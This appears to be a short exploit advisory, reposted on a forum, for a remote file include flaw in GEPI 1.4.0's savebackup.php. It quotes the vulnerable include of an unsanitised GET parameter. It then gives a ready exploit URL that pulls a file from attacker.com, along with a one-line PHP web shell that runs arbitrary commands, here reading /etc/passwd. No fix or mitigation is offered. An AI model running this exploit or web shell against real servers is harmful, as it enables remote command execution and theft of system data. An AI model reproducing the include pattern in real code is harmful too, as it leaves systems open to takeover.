GEPI <= 1.4.0 gestion/savebackup.php Remote File Include Vulnerability
[code]Package:- gepi 1.4.0
[url]http://adullact.net/frs/download.php/992/gepi-1.4.0.tar.gz[/url]
impact:- highly critical ..System Access..
vulnerable code:-
include($_GET['filename']);
in gepi/gestion/savebackup.php
Exploit:-
[url]http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat[/url]
/etc/passwd
in test.txt
<? passthru("$_GET[cmd]");?>
Credits:-
$um$id
[/code]
页:
[1]